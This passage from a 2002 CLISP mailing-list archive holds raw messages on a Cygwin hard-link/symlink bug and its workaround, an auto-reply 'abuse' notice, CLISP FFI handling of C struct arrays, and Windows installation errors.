-lm >-o base >/lisp.run >base/libintl.a: file not recognized: File format not recognized >collect2: ld returned 1 exit status >make: *** [base/lisp.run] Error 1 > >Inspecting libintl.a shows that it is a very short file containing some >binary fields and fianlly some bytes looking like gettext/intl/libint.a >gettext\intl\libintl.a > >Similar things happens with nearly all files in the distribution. >Interesting enough is src: all .lisp files are broken, all fasl files are >correct. > >Analysing this a bit further one can see that both fasl and lisp files are >copied with the same instruction in the make distrib > >ln $(LISPFILES) $(FASFILES) $(TOPDIR)/src > >Ok, so a simple ln is not the problem. > >By further inspecting the origin of the lispfiles in the current >directory one notes an important difference: The *.lisp files are already >links ,e.g. >lrwxrwxrwx 1 default 544 153 Aug 3 23:53 xcharin.lisp -> >../src/x >charin.lisp > >By further investigation in the makefile one finds that the *.lisp files >in the directory are generated via >ln -s, i.e. are symbolic links. > >Conclusion: >In Cygwin applying ln -s to a file and afterwards ln to the link results >in an unusable file. Since the same chain of instructions works fine in my >Linux, I assume this is a problem within cygwin. > >Now it seems i shoudn't have said that tar is the culprit, the problems >seems to be a step earlier. > >Karsten > >PS: >A while ago somebody asked why bother with cygwin at all if there are so >many problems with clisp. One reason is that at least on my box cygwin >clisp is twice as fast a the windows clisp. It is even faster than in >Linux, probably because I used gcc 304 in cygwin and gcc 2.95 something in >Linux. From rrschulz@cris.com Sun Aug 04 07:37:57 2002 Received: from uhura.concentric.net ([206.173.118.93]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17bMW4-0001Zt-00 for ; Sun, 04 Aug 2002 07:37:56 -0700 Received: from marconi.concentric.net (marconi.concentric.net [206.173.118.71]) by uhura.concentric.net [Concentric SMTP Routing 1.0] id g74EbrS02943 for ; Sun, 4 Aug 2002 10:37:53 -0400 (EDT) Received: from Clemens.cris.com (da003d0253.sjc-ca.osd.concentric.net [64.1.0.254]) by marconi.concentric.net (8.9.1a) id KAA23587; Sun, 4 Aug 2002 10:37:51 -0400 (EDT) Message-Id: <5.1.0.14.2.20020804073845.01f9b160@pop3.cris.com> X-Sender: rrschulz@pop3.cris.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 To: clisp-list@lists.sourceforge.net From: Randall R Schulz Subject: Re: [clisp-list] Next try for cygwin binaries for 2.29 Cc: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Aug 4 07:38:03 2002 X-Original-Date: Sun, 04 Aug 2002 07:39:15 -0700 Karsten, Interesting. This is the precise problem that Sam Steingold reported to the Cygwin mail list just a few days ago. The head Cygwin developer, Chris Faylor (at Redhat) has already devised a fix but it's only available in a patch release of the Cygwin "kernel" (cygwin1.dll). The problem, in short, is making a hard link to a symbolic link. That hard link to a symbolic link does not get the ".lnk" suffix it needs and so is not interpreted as a symbolic link, even though that's what its contents really are (since it's just a nother name for the symbolic link). I can suggest a work-around that might make things manageable for you. Wherever appears an "ln" (plain old hard-link "ln" invocations) whose target (first argument) is a symbolic link, the newly created link name should manually / explicitly supply a ".lnk" suffix. Thus: # "symLinkTarget" is a symbolic link to some other file # "hardLinkToTarget" is the hard link to create # that should alias the "symLinkTarget" # No good: % ln symLinkTarget hardLinkToSymlink # Work-around: % ln symnlinkTarget hardLinkToSymlink.lnk Here's an example: % echo "realFile" >realFile % ln -s realFile realFile-sl # No good: % ln realFile-sl realFile-sl-hl1 # Work-around: % ln realFile-sl realFile-sl-hl2.lnk # Test % cat realFile realFile % cat realFile-sl realFile % od -c realFile-sl-hl1 0000000 L \0 \0 \0 001 024 002 \0 \0 \0 \0 \0 300 \0 \0 \0 0000020 \0 \0 \0 F \f \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 0000040 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 0000060 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 001 \0 \0 \0 0000100 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \b \0 r e 0000120 a l F i l e \b \0 r e a l F i l e 0000140 % cat realFile-sl-hl2 realFile You can also simplly rename, via "mv", the existing hardlinks to the symbolic links that have no ".lnk" suffix: % mv realFile-sl-hl1 realFile-sl-hl1.lnk % cat realFile-sl-hl1.lnk realFile I hope that helps. I'll let you and Sam (and the CLISP list) know when a release version of Cygwin is available that fixes this problem. Lastly, so you know and can think about the consequences, the fix that Chris Faylor has devised is simply to resolve the symbolic link when making a hard link to it. Thus a request to make a hard link to the symbolic link will end up making a hard link to the ultimate target of the symbolic link instead. Good luck. Feel free to ask more about this or other Cygwin issues. Randall At 04:09 2002-08-04, Karsten wrote: >regarding the potential cygwin tar problems: > >Let me first describe the effects: >Downloading and installing clisp-2.29-i686-unknown-cygwin_nt-5.0-1.3.12.tar.gz >results in the following error: > >$ make >gcc -O base/modules.o base/lisp.a base/libsigsegv.a base/libintl.a >base/libicon >v.a base/libreadline.a base/libavcall.a base/libcallback.a -lncurses -lm >-o base >/lisp.run >base/libintl.a: file not recognized: File format not recognized >collect2: ld returned 1 exit status >make: *** [base/lisp.run] Error 1 > >Inspecting libintl.a shows that it is a very short file containing some >binary fields and fianlly some bytes looking like gettext/intl/libint.a >gettext\intl\libintl.a > >Similar things happens with nearly all files in the distribution. >Interesting enough is src: all .lisp files are broken, all fasl files are >correct. > >Analysing this a bit further one can see that both fasl and lisp files are >copied with the same instruction in the make distrib > >ln $(LISPFILES) $(FASFILES) $(TOPDIR)/src > >Ok, so a simple ln is not the problem. > >By further inspecting the origin of the lispfiles in the current >directory one notes an important difference: The *.lisp files are already >links ,e.g. >lrwxrwxrwx 1 default 544 153 Aug 3 23:53 xcharin.lisp -> >../src/x >charin.lisp > >By further investigation in the makefile one finds that the *.lisp files >in the directory are generated via >ln -s, i.e. are symbolic links. > >Conclusion: >In Cygwin applying ln -s to a file and afterwards ln to the link results >in an unusable file. Since the same chain of instructions works fine in my >Linux, I assume this is a problem within cygwin. > >Now it seems i shoudn't have said that tar is the culprit, the problems >seems to be a step earlier. > >Karsten > >PS: >A while ago somebody asked why bother with cygwin at all if there are so >many problems with clisp. One reason is that at least on my box cygwin >clisp is twice as fast a the windows clisp. It is even faster than in >Linux, probably because I used gcc 304 in cygwin and gcc 2.95 something in >Linux. Randy From rrschulz@cris.com Sun Aug 04 08:01:07 2002 Received: from uhura.concentric.net ([206.173.118.93]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17bMsU-00071C-00 for ; Sun, 04 Aug 2002 08:01:06 -0700 Received: from marconi.concentric.net (marconi.concentric.net [206.173.118.71]) by uhura.concentric.net [Concentric SMTP Routing 1.0] id g74EjqS05454 for ; Sun, 4 Aug 2002 10:45:52 -0400 (EDT) Received: from Clemens.cris.com (da003d0253.sjc-ca.osd.concentric.net [64.1.0.254]) by marconi.concentric.net (8.9.1a) id KAA25394; Sun, 4 Aug 2002 10:45:51 -0400 (EDT) Message-Id: <5.1.0.14.2.20020804074616.02d26288@pop3.cris.com> X-Sender: rrschulz@pop3.cris.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 To: clisp-list@lists.sourceforge.net From: Randall R Schulz Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Subject: [clisp-list] Is It Abuse?? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Aug 4 08:02:01 2002 X-Original-Date: Sun, 04 Aug 2002 07:47:15 -0700 Hi, I mistakenly sent my reply to Karsten to the list twice. But I have no idea where the copy of that message with the subject "Email abuse" came from. What's up with that? Randy From rrschulz@cris.com Sun Aug 04 08:20:56 2002 Received: from uhura.concentric.net ([206.173.118.93]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17bNBf-0005LX-00 for ; Sun, 04 Aug 2002 08:20:55 -0700 Received: from marconi.concentric.net (marconi.concentric.net [206.173.118.71]) by uhura.concentric.net [Concentric SMTP Routing 1.0] id g74FKrS17185 for ; Sun, 4 Aug 2002 11:20:53 -0400 (EDT) Received: from Clemens.cris.com (da003d0253.sjc-ca.osd.concentric.net [64.1.0.254]) by marconi.concentric.net (8.9.1a) id LAA04435; Sun, 4 Aug 2002 11:20:52 -0400 (EDT) Message-Id: <5.1.0.14.2.20020804081626.02125eb0@pop3.cris.com> X-Sender: rrschulz@pop3.cris.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 To: clisp-list@lists.sourceforge.net From: Randall R Schulz Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Subject: [clisp-list] Abuse Message Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Aug 4 08:21:04 2002 X-Original-Date: Sun, 04 Aug 2002 08:22:16 -0700 Hi, Sorry again. The "Email abuse" message I referred to was not sent to the list, just to me, but my mail filters mistakenly put it in my CLISP mailing list mailbox. I should have realized that fact owing to the absence of the "[clisp-list]" tag in the "Subject:" header. Has anyone else been branded an "Email abuser" by zamansky@zamansky.dyndns.org, zamansky@localhost.dyndns.org and / or zamansky@stuy.edu? It seems a single repeated message is an overly sensitive criteria for such a condemnation... Randy From kaz@footprints.net Sun Aug 04 10:58:32 2002 Received: from ashi.footprints.net ([204.239.179.1]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17bPeC-0007Cy-00 for ; Sun, 04 Aug 2002 10:58:32 -0700 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 17bPe4-0003Mh-00; Sun, 04 Aug 2002 10:58:24 -0700 From: Kaz Kylheku To: Randall R Schulz cc: clisp-list@lists.sourceforge.net In-Reply-To: <5.1.0.14.2.20020804081626.02125eb0@pop3.cris.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: Abuse Message Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Aug 4 10:59:12 2002 X-Original-Date: Sun, 4 Aug 2002 10:58:24 -0700 (PDT) On Sun, 4 Aug 2002, Randall R Schulz wrote: > Has anyone else been branded an "Email abuser" by > zamansky@zamansky.dyndns.org, zamansky@localhost.dyndns.org and / or > zamansky@stuy.edu? > > It seems a single repeated message is an overly sensitive criteria for such > a condemnation... Relax, it's probably just some filtering software. I hope zamansky realizes, as I once did, that mail filters which send replies are intractable, an that two copies are not unusual from a mailing list. You never know where the auto reply will go, since the return address can be forged. Imagine if everyone had such a filter, and then a whole lot of spammers decided they were going to forge messages from a single mailbox. That destination would be subject to an effective DDoS from all the auto-reply filters. That's not the only problem. Auto replying can create mail routing loops. You can be clever with X-Loop headers, but what if something in the loop munges them? A while ago I wrote a cookie-based e-mail authentication system (in Lisp, of course) that could be installed as a filter under procmail. The algorithm worked, but it created too many problems. There are just too many kinds of things you can receive that must be exempt from such processing---such as, for instance, complaints and threats from sysadmins of networks you've never heard of about turning off your goddamned mail authentication sript or we will blackhole your network block. :) -- Meta-CVS: solid version control tool with directory structure versioning. http://users.footprints.net/~kaz/mcvs.html http://freshmeat.net/projects/mcvs From hin@van-halen.alma.com Mon Aug 05 07:58:35 2002 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17bjJZ-0003hg-00 for ; Mon, 05 Aug 2002 07:58:34 -0700 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id g75EwV5U006969 for ; Mon, 5 Aug 2002 10:58:31 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id g75EwVUd006966; Mon, 5 Aug 2002 10:58:31 -0400 Message-Id: <200208051458.g75EwVUd006966@van-halen.alma.com> From: "John K. Hinsdale" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] FFI question: returning array of "C" structs Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Aug 5 07:59:05 2002 X-Original-Date: Mon, 5 Aug 2002 10:58:31 -0400 I'm writing an external "C" function called from CLISP via the FFI and I want my "C" function to return an array of some variable number of structs from "C". How do I do that? My function fills in an array of structs (not pointers, whole structs, and also returns a count of how many it allocated and filled in, i.e.: struct extcol * col_info() I've got a separate function "ncol()" that can be called to get the count from Lisp so it knows how many to read in. Where I'm stuck is how to declare the return tyep of my function. The docs mention a "C-ARRAY-PTR" (FFI:C-ARRAY-PTR c-type) This type is equivalent to what C calls c-type (*)[]: a pointer to a zero-terminated array of items of the given c-type. but I'm confused as to whether this means I'm declaring a pointer to (1) the base of an array of "c-types" or to (2) the base of an array of "pointer to c-types" The "zero-terminated" blurb in the comments suggests (2) - how could you zero-terminate an array of structs, however, looking at examples of modules distributed with CLISP suggests (1) ... any ideas? --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From abramson@aic.nrl.navy.mil Mon Aug 05 10:44:00 2002 Received: from s2.itd.nrl.navy.mil ([132.250.83.3] helo=itd.nrl.navy.mil) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17bltg-0006BY-00 for ; Mon, 05 Aug 2002 10:44:00 -0700 Received: from smtp.itd.nrl.navy.mil (smtp.itd.nrl.navy.mil [132.250.86.3]) by itd.nrl.navy.mil (8.8.8+Sun/8.8.8) with SMTP id NAA14110 for ; Mon, 5 Aug 2002 13:41:32 -0400 (EDT) Received: from sun23.aic.nrl.navy.mil ([132.250.84.33]) by smtp.itd.nrl.navy.mil (NAVGW 2.5.2.12) with SMTP id M2002080513413208267 for ; Mon, 05 Aug 2002 13:41:32 -0400 Received: (from abramson@localhost) by sun23.aic.nrl.navy.mil (8.11.6+Sun/8.10.2) id g75HfW724704; Mon, 5 Aug 2002 13:41:32 -0400 (EDT) To: clisp-list@lists.sourceforge.net From: myriam Reply-To: mabramso@gmu.edu Message-ID: Lines: 11 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] ipc Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Aug 5 10:44:06 2002 X-Original-Date: 05 Aug 2002 13:41:32 -0400 Does anybody know if somebody did an IPC binding for clisp? There is one for Allegro. http://www-2.cs.cmu.edu/~IPC/ TIA -- myriam From Joerg-Cyril.Hoehle@t-systems.com Tue Aug 06 01:38:57 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17bzrj-0005N5-00 for ; Tue, 06 Aug 2002 01:38:55 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Tue, 6 Aug 2002 10:37:18 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 6 Aug 2002 10:37:17 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: hin@alma.com Subject: [clisp-list] FFI question: returning array of "C" structs MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 6 01:39:04 2002 X-Original-Date: Tue, 6 Aug 2002 10:37:08 +0200 John K. Hinsdale asked: >I'm writing an external "C" function called from CLISP via the FFI and >I want my "C" function to return an array of some variable number of >structs from "C". How do I do that? You can do that with the standard CLISP FFI in only one case: when the array is zero-terminated. This includes a structure completely filled with 0 bytes, not just C strings of one byte characters. Does your function match that requirement? > how could you zero-terminate an array of structs, No problem at all, as indicated above. :-) When using zero'ed structs, beware of uninitialized padding bytes. >My function fills in an array of structs (not pointers, whole structs, Whole structs are no problem at all to the CLISP FFI. >I've got a separate function "ncol()" that can be called to get the >count from Lisp so it knows how many to read in. The current FFI cannot use that, unless you start playing tricks using CAST, foreign variable objects and run-time declared FFI types. This would become (using my FFI extensions, which are only half in current CLISP, I don't know how much of this is in 2.29): (let* ((entries (col-info)) (len (ncol))) ;; assumes col-info returns a C-POINTER type, otherwise cast (ffi:with-c-var (base 'ffi:c-pointer entries) (ffi:cast base `(ffi:c-ptr (ffi:c-array ffi:uint16 ,len))))) ;; run-time cast of complex thing is inefficient or ; this form may optimize better in some possible far future (let* ((entries (col-info)) (len (ncol))) ;; assumes col-info returns a C-POINTER type, otherwise cast (ffi:with-c-var (base `(ffi:c-ptr (ffi:c-array ffi:uint16 ,len))) (setf (cast base 'ffi:c-pointer) entries) base)) ; (deref base) is superfluous, CLISP converts to true Lisp objects I'd appreciate comments on whether the above is a worthwile approach or obfuscation. >The docs mention a "C-ARRAY-PTR" > (FFI:C-ARRAY-PTR c-type) This type is equivalent to what C > calls c-type (*)[]: a pointer to a zero-terminated > array of items of the given c-type. >but I'm confused as to whether this means I'm declaring a pointer to >(1) the base of an array of "c-types" or to (2) the base of an array >of "pointer to c-types" >The "zero-terminated" blurb in the comments suggests (2) - how could >you zero-terminate an array of structs, however, looking at examples >of modules distributed with CLISP suggests (1) ... It's exactly as the docs say (include Humpty Dumpty Lewis Carroll quote here) and don't be mislead by "suggestions", your beliefs or the typical use of zero-termination only applied to termination of char arrays. The concept is more general. BTW, I still tend to think the following is the best approach to your needs. Yet it will probably never be implemented. The debate is whether it's worthwhile at all to provide high-level interfaces to low-level FFI stuff. These complex prototypes are of no use to people who wish to generate declarations from existing C or IDL headers. (def-call-out col-info :arguments ((len uint :alloca :out)) :return-type (c-ptr (c-array uint16 is_size(len))) :guard #'(lambda (x) (not (foreign-address-null x)))) or a similar thing using an out parameter: (def-call-out col-info :arguments ((entries (c-ptr (c-array uint16 is_size(return))) :alloca :out)) :return-type uint) or with an extra error status indication: (def-call-out col-info :arguments ((len uint :alloca :out) (entries (c-ptr (c-array uint16 is_size(len))) :alloca :out)) :return-type uint :guard #'zerop) ; 0 is success return code Regards, Jorg Hohle. From gaohuaiyan@yahoo.co.uk Tue Aug 06 02:19:29 2002 Received: from web21009.mail.yahoo.com ([216.136.227.63]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17c0Uy-0000g7-00 for ; Tue, 06 Aug 2002 02:19:28 -0700 Message-ID: <20020806091928.13322.qmail@web21009.mail.yahoo.com> Received: from [146.227.0.251] by web21009.mail.yahoo.com via HTTP; Tue, 06 Aug 2002 10:19:28 BST From: =?iso-8859-1?q?Huaiyan=20Gao?= To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="0-230339636-1028625568=:13266" Content-Transfer-Encoding: 8bit Subject: [clisp-list] ask help "How To Install Clisp-2.28-win32" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 6 02:20:03 2002 X-Original-Date: Tue, 6 Aug 2002 10:19:28 +0100 (BST) --0-230339636-1028625568=:13266 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Hi When I install clisp-2.28-win32, I encounter the following problems: 1. I excute the command lisp.exe -M lispinit.mem from command line, the work is done well. 2. I excute the command (compile-file "src/config.lisp") from clisp prompt line, the work is done well. 3. But when I use load command do this work , e.g. (load "src/config.fas"), the work is done incorrectly, the message displays on screen: ** Continuable error DEFUN/DEFMACRO(SHORT-SITE-NAME): #(PACKAGE COMMON-LISP) is locked. Who may tell me how can I install clisp-2.28-win32 correctly? Thanks. HuaiYan Gao --------------------------------- Get a bigger mailbox -- choose a size that fits your needs. http://uk.docs.yahoo.com/mail_storage.html --0-230339636-1028625568=:13266 Content-Type: text/html; charset=iso-8859-1 Content-Transfer-Encoding: 8bit

Hi

When I install clisp-2.28-win32, I encounter the following problems:

1. I excute the command lisp.exe -M lispinit.mem from  command line, the work is done well.

2. I excute the command (compile-file "src/config.lisp") from clisp prompt line, the work is done well.

3. But when I use load command do this work , e.g. (load "src/config.fas"), the work is done incorrectly, the message displays on screen:

** Continuable error

DEFUN/DEFMACRO(SHORT-SITE-NAME): #(PACKAGE COMMON-LISP) is locked.

Who may tell me how can I install clisp-2.28-win32 correctly?

Thanks.

HuaiYan Gao



Get a bigger mailbox -- choose a size that fits your needs.

http://uk.docs.yahoo.com/mail_storage.html --0-230339636-1028625568=:13266-- From ampy@ich.dvo.ru Tue Aug 06 06:03:30 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17c3zh-0007m1-00 for ; Tue, 06 Aug 2002 06:03:26 -0700 Received: from ppp71-3640.vtc.ru (ppp71-3640.vtc.ru [212.16.216.71]) by vtc.ru (8.12.4/8.12.4) with ESMTP id g76D2omj022211; Wed, 7 Aug 2002 00:02:52 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <17229513898.20020807000545@ich.dvo.ru> To: Huaiyan Gao CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] ask help "How To Install Clisp-2.28-win32" In-reply-To: <20020806091928.13322.qmail@web21009.mail.yahoo.com> References: <20020806091928.13322.qmail@web21009.mail.yahoo.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 6 06:04:03 2002 X-Original-Date: Wed, 7 Aug 2002 00:05:45 +1000 Hi, Tuesday, August 06, 2002, 7:19:28 PM, you wrote: > 3. But when I use load command do this work , e.g. (load "src/config.fas"), the work is done incorrectly, the message displays on screen: > ** Continuable error > DEFUN/DEFMACRO(SHORT-SITE-NAME): #(PACKAGE COMMON-LISP) is locked. > Who may tell me how can I install clisp-2.28-win32 correctly? Why don't you use 2.29 version ? Try either typing :c at every continuable error (actually a warning) or run config.fas with command (without-package-lock nil (load "src/config.fas")) readme is somewhat outdated - after (saveinitmem) you can use install.bat to associate file extensions. But install.bat in 2.28 and 2.29 doesn't support win95/98, just NT..XP. Right install.bat is in CVS :( -- Best regards, Arseny From lisp-clisp-list@m.gmane.org Tue Aug 06 07:30:09 2002 Received: from main.gmane.org ([80.91.224.249]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17c5Lb-0001dX-00 for ; Tue, 06 Aug 2002 07:30:07 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 17c5Kn-000052-00 for ; Tue, 06 Aug 2002 16:29:17 +0200 To: clisp-list@lists.sourceforge.net X-Injected-Via-Gmane: http://gmane.org/ Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 17c5Km-00004u-00 for ; Tue, 06 Aug 2002 16:29:16 +0200 Path: not-for-mail From: Sam Steingold Newsgroups: gmane.lisp.clisp.general Organization: disorganization Lines: 19 Message-ID: References: Reply-To: sds@gnu.org NNTP-Posting-Host: 65.114.186.226 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Trace: main.gmane.org 1028644156 30676 65.114.186.226 (6 Aug 2002 14:29:16 GMT) X-Complaints-To: usenet@main.gmane.org NNTP-Posting-Date: Tue, 6 Aug 2002 14:29:16 +0000 (UTC) X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: ipc Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 6 07:31:01 2002 X-Original-Date: 06 Aug 2002 10:30:00 -0400 > * In message > * On the subject of "ipc" > * Sent on 05 Aug 2002 13:41:32 -0400 > * Honorable myriam writes: > > Does anybody know if somebody did an IPC binding for clisp? There is > one for Allegro. > > http://www-2.cs.cmu.edu/~IPC/ Not that I know of. But you are welcome to do this and ask questions here. I volunteer Joerg-Cyril to help you :-) -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Linux - find out what you've been missing while you've been rebooting Windows From hin@van-halen.alma.com Tue Aug 06 08:59:45 2002 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17c6kK-0004fE-00 for ; Tue, 06 Aug 2002 08:59:44 -0700 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id g76Fxf5U010725; Tue, 6 Aug 2002 11:59:41 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id g76FxfRH010722; Tue, 6 Aug 2002 11:59:41 -0400 Message-Id: <200208061559.g76FxfRH010722@van-halen.alma.com> From: "John K. Hinsdale" To: Joerg-Cyril.Hoehle@t-systems.com CC: clisp-list@lists.sourceforge.net In-reply-to: (Joerg-Cyril.Hoehle@t-systems.com) Subject: Re: [clisp-list] FFI question: returning array of "C" structs Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 6 09:00:03 2002 X-Original-Date: Tue, 6 Aug 2002 11:59:41 -0400 > You can do that with the standard CLISP FFI in only one case: when the > array is zero-terminated. This includes a structure completely filled > with 0 bytes, not just C strings of one byte characters. Does your > function match that requirement? It can be made to (I'll just slap on a zeroed struct at the end). My structs contain info on database columns coming back from queries (data, column name, flags, etc.). As it turns out the data pointer is always allocated & never NULL so I guess in my application the zero-ised terminator struct will work. > When using zero'ed structs, beware of uninitialized padding bytes. won't be a problem w/ mine > The current FFI cannot use that, unless you start playing tricks using > CAST, foreign variable objects and run-time declared FFI types. I'll skip that! > It's exactly as the docs say (include Humpty Dumpty Lewis Carroll > quote here) and don't be mislead by "suggestions", your beliefs or the > typical use of zero-termination only applied to termination of char > arrays. The concept is more general. I guess the reason I was confused/surprised by the zero-terminate convention is that it clearly doesn't work in some cases -- if my C struct is, say a 3D coordinate in a graphics program, e.g., struct point { int x; int y; int z; }; and if I want to return bunch of them, the zero terminator prevents me from including (0, 0, 0) as valid data, which here is not exactly an obscure case. It would seem all this is moot if I use array of struct pointers instead of array of whole structs (cost me one more malloc(), so what...) so maybe I'll try that. I think in theory there is even no guarantee that a NULL ptr in "C" is really zero-bits in memory, but that was probably for some weird HP processor of long ago. > BTW, I still tend to think the following is the best approach to your > needs. Yet it will probably never be implemented. The debate is OK, but to be honest, what I'm trying to do is just get this to work, hopefully w/out bugs and leaks, and then get the hell out of "C" and into Lisp as soon as possible! Thanks for the help.... --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From hin@van-halen.alma.com Tue Aug 06 23:38:31 2002 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 